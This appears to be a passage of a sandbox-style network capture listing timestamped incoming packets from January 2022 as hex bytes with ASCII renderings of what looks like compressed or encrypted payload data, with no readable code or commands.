1f a6 65 5a 01 88 e4 96 9a d4 4a c0 ed ef 10 8d 80 14 7c 85 14 65 c6 0b cd 92 27 f9 2c cd 96 f9 ec 06 e6 06 ff 94 d9 12 e8 
a4 79 99 67 4f f2 86 18 55 3c de 7d 3c 8d c7 f1 ad 34 96 e7 ab 5b b3 81 5f 28 0b 74 b9 e4 d2 2c 5e 1a a5 cb 78 f6 14 dc 
7e ea 0b 6e 9f 89 97 62 81 93 5b d1 87 d0 98 0a 55 69 e2 8b 86 ee 94 59 1b f6 9e f6 80 6c cc 87 f9 44 66 78 d9 c6 2b b3 
bc d1 79 ad 31 33 f7 bb ba 0e 1b 71 eb 1a 0a d3 09 26 84 14 d4 63 9a b1 c8 33 b7 91 67 44 fa 3e a6 19 41 ba 9b b3 79 03 
34 97 35 f5 c7 ce c9 24 d6 a4 09 90 f2 b7 50 1e 16 88 39 94 7f 05 f7 be 60 7a 7f 59 7a 55 41 b8 1a 6e 11 2f 84 25 4a 72 
cd 64 ca 80 4a be e3 03 95 b6 2a c2 4a 46 28 d6 0a 
Data Ascii: }`3E1#I&dRWh9_J:7IeZJ|e',ygOU<}<4[_(t,^x~nb[UiYlDfx+y13q&c3gD>Ay45$P9`zYzUAn/%JrdJ*JF(

2022-01-13 21:05:25 UTC 1223 IN Data Raw: 45 1f 1a 90 70 1b 91 76 0c 8f 1e 90 a8 f7 e0 80 d2 df f8 80 2a 34 6c 58 79 7c 53 b4 78 3e 52 b4 41 53 6b 5c f2 
c7 32 c3 69 49 78 aa a0 df 24 89 3f 1f 68 41 48 e1 90 4c 44 77 63 33 12 9d b5 51 79 5e 78 11 0e 55 a8 7e 94 2d 2b 9a f0 
6b af 79 a8 45 ed 87 18 47 c2 37 05 21 ca fd ba 91 c5 5e f1 92 a2 d0 6d 89 78 1a 6f 34 74 eb 62 40 63 bc 8e d3 99 b4 40 
86 6b d3 3c 34 9e 03 21 a6 22 a0 62 9b e8 86 ca cf ca 0e d9 57 b9 ac 8a 7d 04 6b 4c 99 3d db 7a 96 a7 34 c2 44 b8 72 b7 
eb 6d 66 6c 11 01 d1 2b 6f fa e4 f5 8b c1 30 53 31 e7 55 9c 71 d7 49 33 ff d0 e5 3e a2 80 2c 0d db 4b 84 29 da d9 f3 45 ff 
d5 34 57 83 c7 a5 67 bb 02 ba 1b fa 37 ac f4 e7 b6 97 d5 6b d7 a6 b0 98 b5 b7 71 8b 48 f4 5c a3 82 b5 7c 4e 3e d4 d4 07 
ee fa ff ab a2 0c 5a 81 05 1f 88 25 68 60 1a 63 83 
Data Ascii: Epv*4lXy|Sx>RASk\2iIx$?hAHLDwc3Qy^xU~-+kyEG7!^mxo4tb@c@k<4!"bW}kL=z4Drmfl+o0S1UqI3>,K)E4
Wg7kqH\|N>Z%h`c

2022-01-13 21:05:25 UTC 1224 IN Data Raw: 52 6d bc 1c c0 40 a3 c6 f0 d4 ba ff ca fb 5a 88 1f f6 ba 5d 33 34 6f 65 38 10 91 3f 19 1a 23 16 74 33 d9 1e 6b 
14 3d 01 2d b1 34 33 c1 81 82 60 6c 7f 4e f3 8a 38 09 8c fe a0 0b 7d b4 4b 61 08 e8 2f 81 8a b4 89 b1 7a 81 cf 66 ce 7d 
0c 73 7e 3f 63 8c b6 60 c0 65 20 d6 75 7e 36 9d 72 cb 37 00 a4 88 f3 47 31 99 a1 ec b4 9e 29 59 94 13 ea 6c b4 a7 f0 24 
9e c6 71 02 97 de fe 84 b6 3f 40 3b a3 51 59 9e 90 54 ef 15 9c ff 77 74 99 c1 0a 02 d7 9e bd 47 f6 32 2c a2 ce 3f 29 0c 50 
34 98 30 25 f8 2c 1d 45 b6 8c 31 41 2c e9 a0 30 38 68 60 e1 d9 e8 97 bc ba 30 c5 55 a2 00 c9 09 5e b0 69 fa 85 bf 2c 67 
e9 38 af be 24 3d f8 cd 3b 25 21 07 25 60 a8 76 72 64 f4 05 d3 2b be e6 3b f2 fb 4e 2f 96 cc 04 59 e2 ad 1d 28 1a a0 ca c1
c6 f3 24 9c 76 4c 31 8f 4a 4d fd 7f d8 fb 16 ee 
Data Ascii: Rm@Z]34oe8?#t3k=-43`lN8}Ka/zf}s~?c`e u~6r7G1)Yl$q?@;QYTwtG2,?)P40%,E1A,08h`0U^i,g8$=;%!%
`vrd+;N/Y($vL1JM

2022-01-13 21:05:25 UTC 1226 IN Data Raw: d9 84 eb fd c1 fd 8a b3 94 11 df 1d fd ba 87 ee 1d b0 93 f8 0c a6 a2 c8 af fb 04 c4 d4 87 5d fa 22 79 5e 5e 5d 
b4 6f a6 93 c1 19 9c 86 ff f6 2a 7c ff 6e ef c5 6f b7 6f 5e fc f6 eb 8f 5f e2 5f fe 31 7f 7f b8 7d b3 f3 69 2b dd 7e 77 f1 8f ed 4f
6f ae 93 8d ed 8b e4 a8 97 ee be 7b f3 6a 3b 7d f3 22 fe e5 e7 97 3f 4d ff f1 0a d2 5d 6f 6f ae 5f ec 7e fa 09 ff 4b df 7f ba c
9 e0 bf eb b3 17 37 df ff f6 e2 1f f3 ed 77 6f ae e2 5f be ef 8d be 40 de a3 0f f3 bd 8d eb 97 3b 98 f6 e8 a7 72 2f 5d 7f b5 
b3 b9 75 bb bd b9 d5 83 bf af e0 ef 2a 7c 2b 77 8f 3e ce e1 db cd ee c6 2b f6 7d 63 fb ea fd a7 eb ab df be bc fa fb ce 4b 
68 e7 97 57 91 17 82 50 80 17 09 ff 93 9d fa f8 eb 41 be fd c3 4f ff d8 fe dc bb d9 3f 5c 7f 01 8d bd 39 db e8 dd e0 df 9d a3 
ad f9 de e6 56 b5 77 
Data Ascii: ]"y^^]o*|noo^__1}i+~wOo{j;}"?M]oo_~K7wo_@;r/]u*|+w>+}cKhWPAO?\9Vw

2022-01-13 21:05:25 UTC 1227 IN Data Raw: 22 66 98 b3 ef 13 68 7c a2 40 e3 09 49 1e aa 41 d7 3e ea 7d 1f 26 24 08 fd 18 ab b8 ec 9f 07 66 01 ae 7b 1b 
09 24 13 25 8c 72 7d 0c 07 30 d2 30 2c 4a 3c 82 4c d2 59 67 16 63 a4 31 0c 89 9d 17 1d 58 15 e7 a4 a6 f2 46 f3 a2 cc 0b 
e6 e3 31 91 ae 1e f0 e3 b2 48 ce 49 e9 5b a0 3d 27 b7 49 13 8f d3 74 ac 1e 60 ab a3 87 f2 33 fc 41 1f c5 cf 09 fd b8 a5 0a 
ae e8 ee a7 93 9c 9f 63 3c c2 13 e0 0a 31 b7 af 3e da dd 81 01 b9 20 17 b2 95 b4 7c 8b 71 4e 13 9f 7b 8b 8f a5 13 38 3a 
8c 73 47 f0 0f 59 19 9f 27 ad 38 1b b7 e6 19 3b ed 25 e3 56 96 67 9d 8c 72 b5 60 b5 c0 38 b6 ce 8b 7c da d2 4d b5 68 2c 
ba 2a b4 4b 16 79 a7 23 20 a7 c4 6b 8f 11 26 0b 41 a1 f0 4f 3b ca 48 97 a3 a8 ad 7e db 75 9c 8e 4f 3c ed b8 57 b1 78 11 
39 5e e0 a6 51 6f 90 ae 89 58 d9 83 b4 dd 0e f2 76 e4 
Data Ascii: "fh|@IA>}&$f{$%r}00,J<LYgc1XF1HI[='It`3Ac<1> |qN{8:sGY'8;%Vgr`8|Mh,*Ky# k&AO;H~uO<Wx9^QoXv

2022-01-13 21:05:25 UTC 1228 IN Data Raw: 04 2d 0f 7b 29 4e c1 3a 7c 43 58 e6 a7 4f 57 f4 63 a9 88 38 d1 2d f3 69 e2 92 93 2b d8 19 40 9c f1 b3 80 ee 58 
97 d4 b8 1a 2c 34 22 71 50 89 35 45 72 fc bc 70 e4 fe b0 75 33 b3 bf 4d c7 4c 8c 13 68 9f 70 cc b3 cd 91 d8 a8 29 e0 df 
86 04 ae 61 9d 2f 4f ab 27 9d 05 3a 62 2f 29 58 f0 de ff b1 08 cd 82 d5 89 75 7e ec 6d ef bd ff 70 04 9f 8e b6 7e 3d 5a 3f 
40 a2 f1 58 c0 63 f8 b1 bb d9 e1 bf 4f 10 6c 02 04 f5 f1 7c a4 4f 97 11 78 05 56 d5 28 86 63 b7 27 c2 5e fc 17 82 d3 85 ac 
3f f2 19 05 df 63 60 14 2c 76 5b 88 31 7d 1f 5d 72 05 47 89 ff 12 81 26 80 9d d0 a3 28 de ab 95 3c 70 f1 13 ce cb 6b 11 ba 
32 b2 33 b6 44 f6 8a 62 30 d6 df 8f e5 91 c8 6c 71 8a 39 fc ec fe 3e a7 20 56 75 d5 ac e3 54 20 9a 8f 84 de 00 ae cb be 0f 
50 88 ad 59 b6 50 cc 0d 32 33 87 b6 36 26 
Data Ascii: -{)N:|CXOWc8-i+@X,4"qP5Erpu3MLhp)a/O':b/)Xu~mp~=Z?@XcOl|OxV(c'^?c`,v[1}]rG&(<pk23Db0lq9> VuT 
PYP236&

2022-01-13 21:05:25 UTC 1230 IN Data Raw: 60 56 18 7a b3 32 a3 55 35 36 32 09 42 d7 f6 b4 99 54 b0 5f 33 13 71 4f b5 ab b6 19 ae d6 ce 6c 22 6d 0f f6 4f 
93 86 07 2b ab 64 e4 be d2 63 76 1b 63 26 57 a2 ca 72 30 6a 96 bd b5 f9 48 68 dd ae f4 16 04 cf 30 00 c9 02 e6 64 c0 1c 
77 67 0f 07 85 3a d7 83 42 9d 6b 41 a1 2a 3c e0 e9 41 a1 54 7b c6 20 9c 69 f1 a1 60 b0 b2 0b 3a 13 99 c2 1a 3f f8 4c 80 
31 74 99 6a 55 f1 8f d0 c9 55 4c f6 03 d3 90 21 97 c9 35 60 6c 4d ea bb 70 22 d0 cc f4 d8 83 68 bf 04 ff d3 e0 a5 bf b6 80 
55 da 83 b1 90 81 73 61 cc 4c 58 0d 1c cd 72 8b 4c e4 d1 52 c6 5a 28 66 e2 de da 14 21 3e fc 40 8a 84 24 79 77 af 38 5a 
e8 fd fd 1d 34 fd 2c 66 e7 99 60 b1 6c b7 ab 35 da 6a 17 bd 61 92 35 df b0 16 ba 01 dc 0c d6 59 fd 60 b5 ee 39 c3 f3 d5 c3
f1 d9 a7 a9 24 cc 55 0c 63 0d 58 00 c3 ac 4a 4d 
Data Ascii: `Vz2U562BT_3qOl"mO+dcvc&Wr0jHh0dwg:BkA*<AT{ i`:?L1tjUUL!5`lMp"hUsaLXrLRZ(f!>@$yw8Z4,f`l5
ja5Y`9$UcXJM

Timestamp
kBytes
transferred Direction Data
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2022-01-13 21:05:25 UTC 1231 IN Data Raw: ef be d4 cd 7b cf 4c 30 2b 53 5b 96 45 4d 23 3b d0 a4 6f 39 0d 12 3a ca dd 39 5a 4f cb 3b 67 35 bc 67 76 ab a9 
eb 0d 5d bb 32 66 d8 31 17 0e 7b 07 66 d8 da 9c d6 48 6a 1c 2c 0c a6 ef a6 31 89 fe 2d ef cd 96 b7 65 01 eb 44 5f 56 4d 
57 f0 8d 05 68 83 21 18 20 9c 87 12 38 2d 23 7c 7f 46 56 6e 9b 0f 42 3b 4e 09 b7 65 3b fb 7c 90 ce 66 64 6a b6 d7 88 77 
79 68 7d 11 b6 6e 36 20 8d 30 ec 7a 34 26 e4 a4 09 64 c6 84 83 c4 96 ea 00 42 9b 36 5e 0c 83 a0 d9 73 bd de 46 04 36 
e8 c1 83 b8 24 30 30 f3 6f 00 16 0d b7 6b 18 3b 58 8e 66 02 a3 0d ba 9c 88 fa 58 c1 cf 22 cf ab 43 91 42 9a 3c 3e 38 88 
d4 70 1b dd 19 5b 81 30 b3 1e b4 2f 08 df 7d 13 b6 28 2f d8 34 20 a3 de bd 83 32 f7 ff 1a 44 57 5e 89 e1 f3 c9 2a d9 7f dc 
9c bd 79 3c 82 17 b3 e2 69 6e c6 49 33 cc a8 9c 39 63 
Data Ascii: {L0+S[EM#;o9:9ZO;g5gv]2f1{fHj,1-eD_VMWh! 8-#|FVnB;Ne;|fdjwyh}n6 0z4&dB6^sF6$00ok;XfX"CB<>8p[0/}(/4 
2DW^*y<inI39c

2022-01-13 21:05:25 UTC 1232 IN Data Raw: 3b 68 b7 2b ba d3 3a ae 4e 9a 54 89 fc 0c 21 86 52 a8 aa 57 5d dc 5d db de 9b 16 61 dd 1b 08 05 8a ae ac 68 
50 61 00 3f d5 04 11 c5 2a 30 88 b6 61 97 6e da 9c 48 29 f9 de a5 85 0a 4d 55 e3 a3 f5 21 35 ad 14 e9 81 de 3f 5e 67 e4 
28 42 c6 e3 79 c0 45 b4 ee d2 c5 00 f3 19 82 6c c2 6e b3 75 5f 7a 8e 3f 5b a2 2b 3c 9a ea 78 e4 c7 19 ee 3c 1c 80 87 b4 
4a 7f 42 4d 84 ea 4f 5d 4f b4 93 50 b5 4d 7a 0f 2b 94 95 50 7c 08 a1 88 9a 63 84 d6 02 56 ea 8d 10 82 ee 2c bf 21 0f 4c e6
54 e0 15 f1 38 cd e5 0b 01 89 8d a7 25 fe 8a 23 6e 43 7b b7 26 cc a6 40 70 23 34 f9 a2 8f 8c 01 d7 3e af 9e 84 22 e8 25 
36 9e 88 5d c4 ff 2b 69 53 32 3a 48 91 c0 f7 2e 50 67 5d b7 d1 b4 4f 7b ba 0a e9 58 4c 9b 30 f3 f0 b8 83 86 74 b9 64 8f 23 
86 c0 87 b3 64 38 70 29 83 5d 46 05 04 97 51 1f 7c 
Data Ascii: ;h+:NT!RW]]ahPa?*0anH)MU!5?^g(ByElnu_z?[+<x<JBMO]OPMz+P|cV,!LT8%#nC{&@p#4>"%6]+iS2:H.Pg]
O{XL0td#d8p)]FQ|

2022-01-13 21:05:25 UTC 1233 IN Data Raw: df dd 91 b9 2d 9d 12 3c de c7 92 73 5d b2 b8 9f 15 e9 34 86 63 9d eb db 3c 13 8f 5e 7f c5 f1 5d 40 f8 e8 04 9b 
8c 5d 0d 34 c4 09 73 2b ce 50 f9 5d cb 21 86 bb 71 03 d7 cd 09 5c 61 60 51 7e 12 b7 0d 56 f1 9a fc 6c 2c 1e df ec 62 04 
52 92 58 1a da ec 9b 5a 48 4d 8f d5 13 96 0e 8f 4c df 59 ad b5 4c 09 36 8d fd 16 ad ab f7 c9 05 be e4 1b 33 13 e1 5d 8d 
a3 89 12 d0 e9 93 a9 e2 28 6b fb b7 29 43 f1 f9 36 b3 29 ce 57 cf b8 62 ce 1d 57 c6 48 9d 94 0e a7 1b dc 8d b5 03 39 c5 
29 a8 4a 61 2c b8 a5 74 01 86 ed 
Data Ascii: -<s]4c<^]@]4s+P]!q\a`Q~Vl,bRXZHMLYL63](k)C6)WbWH9)Ja,t

2022-01-13 21:05:25 UTC 1234 IN Data Raw: 20 4b 4f 78 f3 ea 64 ff c0 09 7e 16 67 c9 a3 43 d6 6a 46 aa a6 79 e5 7b 56 4a 7d f9 b1 e0 04 ef a9 fd fd 24 44 
a0 d8 c9 84 3d 96 fd 2a 24 ed 9a 78 cc 25 5e e7 57 76 b2 86 d8 69 40 55 8f fd 54 60 76 12 62 a7 d0 41 fe bd 07 47 47 3a 
6c d1 18 48 38 a3 ac d1 95 53 a5 a5 b9 c7 98 a7 33 dd 65 af a7 a1 c4 a4 d1 dd c2 b2 72 e4 a1 df 31 42 43 1d 1c 9d 8f a1 
b0 72 ed b7 8e 2e 93 16 55 d6 62 b3 df a2 a1 4c 99 33 50 d9 9a c6 13 74 72 4f c6 5d 4a 89 6c 84 90 d5 79 e2 fc 0c 47 a9 
15 17 49 4b 40 15 75 b9 e7 a3 0d 3f 90 38 a0 da 1f 6e cd 6d 3e 67 88 4c 05 c3 54 4d c6 f0 58 b6 e2 09 85 a6 6f 9d 25 49 
d6 e2 91 29 b0 62 74 74 ac 90 d7 a7 e3 50 fe 9e e5 2c d4 b3 7a 23 6d d2 c3 14 ed 2b 2b 3d e4 b6 7e f0 03 62 b8 85 5d 4d 
77 34 47 ff e5 3b cd c3 66 ac c3 b7 b2 85 c7 61 62 37 
Data Ascii:  KOxd~gCjFy{VJ}$D=*$x%^Wvi@UT`vbAGG:lH8S3er1BCr.UbL3PtrO]JlyGIK@u?8nm>gLTMXo%I)bttP,z#m+
+=~b]Mw4G;fab7

2022-01-13 21:05:25 UTC 1235 IN Data Raw: d9 40 6c a4 ad 9b 51 92 8c cb 7a 6b 75 95 b4 39 ba 42 d7 2b 5f 4b 77 f3 35 39 82 68 f1 ae 06 9e df f2 bc 96 9f 
17 12 c9 c3 6c 16 ed b5 a4 b0 c4 54 9c ef d5 9d 45 b4 0e aa 4a 98 8f 0f 99 89 5b a5 ea 67 35 07 c0 80 0d 1c c5 94 0d 14 
74 4c e1 9e b6 5a ae 54 2d a5 9c c0 7b 5b 3a 6d 22 5a 90 4f c1 54 02 c4 09 42 cd 04 fb d7 73 34 8b 07 43 13 a7 bf a5 ee 
15 8f 6a e7 77 da d5 ab 01 3a d4 dc 5e 23 f6 7b 08 94 e2 38 93 dd 6d ec ec 1f 6e 81 60 90 31 3f 3c 4c d4 c4 8d 0d 18 78 
53 7f fa 87 ef e2 d9 29 6c 9c 08 d6 91 84 29 5e 0d c0 63 99 c2 6c 25 6f 70 17 48 bb e5 65 7e 0d 5f 06 69 97 ed c0 82 89 
e7 75 66 9e 76 eb 3b a1 b6 63 d5 3f 9b 50 6c ea 94 d4 b8 42 08 b9 cb 48 e8 a4 59 1e 53 8b 35 10 8d ff 19 36 18 dd ed ea 
23 47 99 d5 d0 15 02 bf 6a f9 d8 91 76 25 86 aa 81 0b 
Data Ascii: @lQzku9B+_Kw59hlTEJ[g5tLZT-{[:m"ZOTBs4Cjw:^#{8mn`1?<LxS)l)^cl%opHe~_iufv;c?PlBHYS56#Gjv%

2022-01-13 21:05:25 UTC 1236 IN Data Raw: df ac 20 54 35 bb 93 01 83 f0 a8 d5 d2 78 a6 3b c3 08 7a d6 8b 5a ad 40 45 59 8d 8a a8 1c 71 ad 97 1c 09 7b 
30 9f de 43 cf b9 db 5b 7d ca 12 04 2b 27 20 ee ba bc a9 32 7e 35 b5 21 2d b8 06 eb 4b 87 9b 02 cb 2e 30 73 b5 da 70 35 
25 6c af 1a 81 84 c9 bf af 4c 2a 6e b4 e4 eb e5 18 31 a9 dc 37 0f b5 46 6a c7 8e 90 86 06 f8 9e 6c 81 32 e9 93 de 40 75 
ea d2 0d 46 65 7a a8 8a a2 4a 40 83 07 8a d2 f8 15 e7 30 33 2f fc 75 67 6c 97 23 a3 b8 1a 25 ab 00 bb fb d4 68 86 a0 6d 
cf a6 4a 57 77 8a 55 76 5f be be 39 d5 0d c5 5c 67 53 ab 22 b3 95 ee 8b eb ff e6 1d 56 d3 33 89 51 96 f6 8e d6 20 da a3 
b4 a4 f5 da ed a3 55 f8 80 02 96 d1 10 1b b7 d7 d6 60 26 0a a7 ed d1 24 ba f4 34 10 07 7a 02 be 76 0c db c3 ee d1 fe fb 
90 ac e3 8e f0 3a e0 c1 e4 6f f6 8f 8e f6 77 59 8e 37 a4 
Data Ascii:  T5x;zZ@EYq{0C[}+' 2~5!-K.0sp5%lL*n17Fjl2@uFezJ@03/ugl#%hmJWwUv_9\gS"V3Q U`&$4zv:owY7

2022-01-13 21:05:25 UTC 1237 IN Data Raw: a6 7b d3 e0 fb 32 9f 5c 21 2f a8 a9 42 a5 1c a1 21 7e 69 61 2d 1d 13 42 46 ea 93 5b 98 d8 a4 26 e5 e1 ae 61 
11 9a 5d 10 1e 8b 2b 3b a3 f2 4e 72 38 19 38 4c 53 b8 c9 41 5d 1f 24 cc fd 06 16 18 8e 5d c0 80 1f 15 95 45 0b f1 65 04 
3a 97 5f a4 b8 e5 b4 34 90 c6 85 0d 0e 49 8e 4a 1f f0 4c a2 74 c0 28 92 b6 67 fb 1d 79 0f 76 08 0f 03 ce 2e 0d f8 1a 15 1f 
b5 65 89 dd 32 9c b9 ef 8c 23 57 df 73 1c 69 bd 90 1d e5 fb 9e a1 7f f0 30 b0 b8 f2 3b bf db 60 b8 3a de 88 6b d5 d6 77 b6 
7f d8 3b 3d 3c 5a 3f 38 ea 7b f1 24 bd c8 3a 14 f2 52 7c 41 10 1c fe 3e c9 c6 5e b8 ff f6 ed e1 d6 91 c8 c0 b0 f8 44 0e fe 8d
b2 f0 2f 98 07 5b 70 fb 50 0b 8e f6 df 1f 8a 8a 40 36 2d c5 7b a6 ed 95 9f 98 54 8a 5f df ec ff 0c 7d 8d cf 72 0c ca f8 66 6b 
67 ff 97 be 77 96 4c f2 6b aa 4f f7 74 
Data Ascii: {2\!/B!~ia-BF[&a]+;Nr88LSA]$]Ee:_4IJLt(gyv.e2#Wsi0;`:kw;=<Z?8{$:R|A>^D/[pP@6-{T_}rfkgwLkOt

2022-01-13 21:05:25 UTC 1239 IN Data Raw: 8e c3 3c 34 30 42 58 b2 b5 05 db 4e 45 e8 6d d7 f2 1c a4 6b 02 ae 9a ce c9 0c df 2a 5e 93 c1 55 e9 75 da f1 
8b 4e dc ae 02 fa 4c e6 42 16 73 a6 76 8d 9b 79 77 19 d9 ec a5 3d 0e 27 8d 8c 61 30 96 cd 62 2a 08 d6 ae c9 5a 29 db 45
ef c7 1d bf ec 4c 54 c3 92 7a 7c 89 a6 85 a4 80 d6 56 a2 28 13 fb 04 96 0a cf b9 bd 82 0b 86 01 de 28 2f 32 2d 8a 14 f5 
ba 4c 23 25 56 5a a2 54 e8 2a 38 83 c7 54 5c c1 10 57 ff 6c 12 03 bf e7 af 42 0f 75 5c c0 6a d4 07 52 94 89 1c 56 db ce 
d2 71 da 2c 77 b1 23 b8 90 15 cc 5e 10 1a 9a 4d c2 ce e5 e4 dc 27 69 4a 49 fe 9a 53 44 d6 8d 49 0a 07 bd 03 54 4b a3 4c 
bc 1b 57 97 08 3e e3 67 5d 0a b4 c1 ee 90 47 94 88 66 19 f7 4e 2d d1 25 51 a4 9e 8a d1 68 20 a2 a7 1a 87 b4 65 75 c7 
51 41 2a 82 70 0c 3f 48 2e 03 02 2c 58 2b 8c 18 ab 34 76 7e 
Data Ascii: <40BXNEmk*^UuNLBsvyw='a0b*Z)ELTz|V((/2-L#%VZT*8T\WlBu\jRVq,w#^M'iJISDITKLW>g]GfN-%Qh euQ
A*p?H.,X+4v~

2022-01-13 21:05:25 UTC 1240 IN Data Raw: 62 04 70 b7 5a cc b0 3c ec 36 37 76 5d 75 91 b4 bb 2c 2e b7 19 a0 ea 04 63 ca ab 2a 64 ba 87 cb 3f c1 40 ec 
7a e3 58 17 b6 b3 cf 07 e9 6c 36 a9 95 a2 f2 e5 7a 3e c6 ab d2 29 47 44 11 48 ed 1e 73 ed 79 1f fd 3d 3c 8f 7a e1 68 19 
b2 f3 48 98 da 7b af ad 2f 29 7c 12 f1 ae 44 d4 2b 7d 01 7d 0e 6f c2 bd f0 30 dc 0c b7 c3 77 a1 dc bb f7 a4 63 e5 80 c7 21 
0c 79 08 c2 50 05 50 0c f5 b0 87 62 a9 23 5e 48 91 8e aa be b7 e5 85 3c a8 55 ff d8 fb d7 70 0a 1c 66 36 af a4 57 00 06 
2f 53 d3 c9 23 cf c3 af e1 bf 50 9e 83 41 e2 a8 25 7d 97 f6 56 1b 0b 6f 0d ba c9 02 ce 75 c8 82 e0 f5 5a 09 f2 1a f4 96 ff 
b1 3f 7b e4 2a c2 30 5c be a3 b4 da 78 f1 94 34 6c ad 18 68 87 07 1c 8b bc aa 98 27 9e 28 f5 3b f4 c1 33 fc 66 f4 2a 50 74 
c7 ad f2 32 2e b5 a8 7a e9 d8 03 d1 35 e3 3e 63 
Data Ascii: bpZ<67v]u,.c*d?@zXl6z>)GDHsy=<zhH{/)|D+}}o0wc!yPPb#^H<Upf6W/S#PA%}VouZ?{*0\x4lh'(;3f*Pt2.z5>c

2022-01-13 21:05:25 UTC 1241 IN Data Raw: e9 d0 ca bf 3e 23 26 c4 ca 10 fd 03 1c 02 ad b1 f0 0d 5a 12 5d 31 dd c7 0d 3e d1 87 42 6d e7 df 47 97 5b f3 1a 
36 8a 5e 84 2b e7 84 8e 91 49 8f 7f 83 8c b1 1c 15 6f da 27 ac 07 be 32 cf 26 f3 c2 4c 8d 58 87 13 34 ce 1f 63 58 6e 36 d4 
db 25 13 7c 19 36 c8 f6 74 9a 80 f0 59 25 06 48 08 6f b8 5e cf 2a 5b 99 5a 48 be 27 b8 ee a1 82 32 2a ef ef bf 81 c5 58 eb 
cc 2f bb 82 a8 e9 1d 09 f2 aa b6 5b c6 78 0b c1 25 6b a9 ef 50 00 ef 13 93 47 09 53 30 78 9d e9 27 fc 64 31 2c da 1e 7a 
04 27 7d d4 84 4c d1 f0 f6 e2 02 99 a9 e5 cb ce d6 ca 3e 8b f3 82 8b 62 81 1b 44 03 7e d7 8a a5 e2 4a 22 47 13 b4 83 92 
31 ed 83 15 04 e2 d6 88 c5 4f 22 73 49 81 c0 12 25 61 d3 76 96 10 d7 e5 2c 74 a1 ed 63 f5 fd bf 3e cc 8b f0 49 60 70 5c 
e0 f8 42 36 34 45 f0 a7 4f af 7c c1 ed b6 e9 6e 
Data Ascii: >#&Z]1>BmG[6^+Io'2&LX4cXn6%|6tY%Ho^*[ZH'2*X/[x%kPGS0x'd1,z'}L>bD~J"G1O"sI%av,tc>I`p\B64EO|n

Timestamp
kBytes
transferred Direction Data
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2022-01-13 21:05:25 UTC 1242 IN Data Raw: 3c 9d 20 43 a8 8f 13 01 3a 55 d2 f5 23 a1 ad 8e 5f 3d 8c e5 72 c6 c1 ae 63 cb e2 80 88 ca e1 09 dd 88 69 25 
c9 7e cf e5 29 d0 dd 41 e7 68 0c 1a fa e6 6c 96 ac 5e ef 30 f1 87 60 31 6e 94 bb 4c 48 52 10 29 27 f0 fa 88 5d a4 a3 d6 
27 8f 70 4f e3 cf fa 0e 89 88 04 65 34 89 72 38 b2 2c c2 97 3d 38 bf 8c da 8c 99 70 61 0f 55 bc 07 c9 c5 d6 cd cc f7 fe e5 
b5 47 a1 97 a2 40 06 cc b1 8c d2 fa 4d 4f 38 a1 1c 6c 7a 85 b7 99 11 57 bd b4 ce 8e 13 18 65 34 9c 87 15 c8 83 6d 08 97 
d9 40 f9 b2 65 51 6f 90 ad 4d 84 f7 5a bb 9d 91 f7 1a e4 82 bd 6b 72 9c 9d c8 5d a5 84 07 64 53 a8 e8 8c ec a9 e5 b3 43 
dc 41 5f 92 51 15 6a 53 b7 64 11 4a 66 76 6c cd cf c9 62 20 14 62 b0 8b 52 41 6c 83 84 aa 3d 0a 73 ff e6 96 ed 90 99 f0 
87 05 06 9a 46 33 54 a9 ea 65 b9 71 9e 72 5a df 73 e4 
Data Ascii: < C:U#_=rci%~)Ahl^0`1nLHR)']'pOe4r8,=8paUG@MO8lzWe4m@eQoMZkr]dSCA_QjSdJfvlb bRAl=sF3TeqrZs

2022-01-13 21:05:25 UTC 1244 IN Data Raw: 5e a4 06 b4 16 5c d2 72 d3 dd 3b bb 60 e1 ea da 9a 4c ba a9 6c eb d4 04 f2 18 ec 2d 76 cb 0c d2 68 dc 62 d9 
85 99 15 ca 50 7c 0a 79 c1 2d 58 db 04 c4 fd dd 5d 6f f1 dd 8a 17 1e 8b 2a 4f 02 32 e7 94 2e 10 77 72 48 31 8c 12 bf c7 
d0 75 c6 a2 a9 21 9f 51 e3 1b 7b 17 f0 3b 8f ad 49 3f 0b 65 14 d0 7e ec 30 e2 e5 a4 86 6a 90 92 ae 4b 50 64 e3 97 23 e5 
9b db a3 f8 02 23 7b 1a 3a 09 34 5e 82 69 41 ee 88 a1 c3 eb 01 b4 f8 ae 9e b9 e3 4a ae 6c ea 8a f2 4c 2a ca 77 37 3b 9b 
db eb 3b fb 3f 78 78 bd 6b 46 9e dc 74 07 9c 14 1d a7 c0 80 d4 f1 be b3 52 34 3a ca f4 30 5e 44 ad 22 d0 02 94 6e 86 02 
43 1d 83 22 13 91 0c 0f 25 a4 4f ee 10 9a 35 59 ae cc bb e4 7c ab 15 16 be c3 31 c4 45 16 52 3c cc 3b e9 a2 83 41 2f 6b 
f6 94 38 4a 67 b2 51 ea b7 b4 14 0b 1b 46 d1 1a 21 5f 1e 
Data Ascii: ^\r;`Ll-vhbP|y-X]o*O2.wrH1u!Q{;I?e~0jKPd##{:4^iAJlL*w7;;?xxkFtR4:0^D"nC"%O5Y|1ER<;A/k8JgQF!_

2022-01-13 21:05:25 UTC 1245 IN Data Raw: 68 3f 6d bf 27 9a 78 2f 28 61 c2 81 4f 3a ef 39 91 4c 18 70 49 e7 7d c7 df ec 9e 4f 72 8a c1 c6 3a 7b 16 17 30 
2e c3 d5 bf f5 7b 68 47 1e 8d 10 b6 ad 33 25 24 c7 59 e4 8f 18 3a a6 fc c3 e0 39 a7 1c e0 b1 e3 53 f2 f6 88 57 08 7c 03 55
61 ac b2 17 cf de 87 e7 70 d6 6a da ea f5 bb f0 f0 02 12 3e a8 08 09 cf 1e 48 45 71 8f 20 dd 95 f3 fe 16 c4 25 3c da f2 1b 
6c 85 3d c5 97 d7 a0 fe 2a f2 ce 26 39 ca ef 18 46 c9 12 8d 74 60 9d d0 91 35 5f 70 93 ce 3b 15 76 0b 58 48 19 0c 9c d8 
86 89 1d fb 8b 45 f9 02 9e 92 99 7a bc 61 d9 a5 70 10 7c 10 36 90 f4 ee ef cb fe 39 08 22 67 c2 92 e0 0c da d3 bf 10 4f 17 
f8 e4 ce 86 a6 c4 9a c0 f5 fa 12 8a a7 7e 20 c4 c4 0d 67 1a 27 d1 25 43 d5 e5 df 10 85 95 92 33 9e 7d 85 67 54 ba 35 c3 
b0 a0 b8 ff b0 f9 b8 4a 8a 73 0c 89 c4 36 c6 
Data Ascii: h?m'x/(aO:9LpI}Or:{0.{hG3%$Y:9SW|Uapj>HEq %<l=*&9Ft`5_p;vXHEzap|69"gO~ g'%C3}gT5Js6

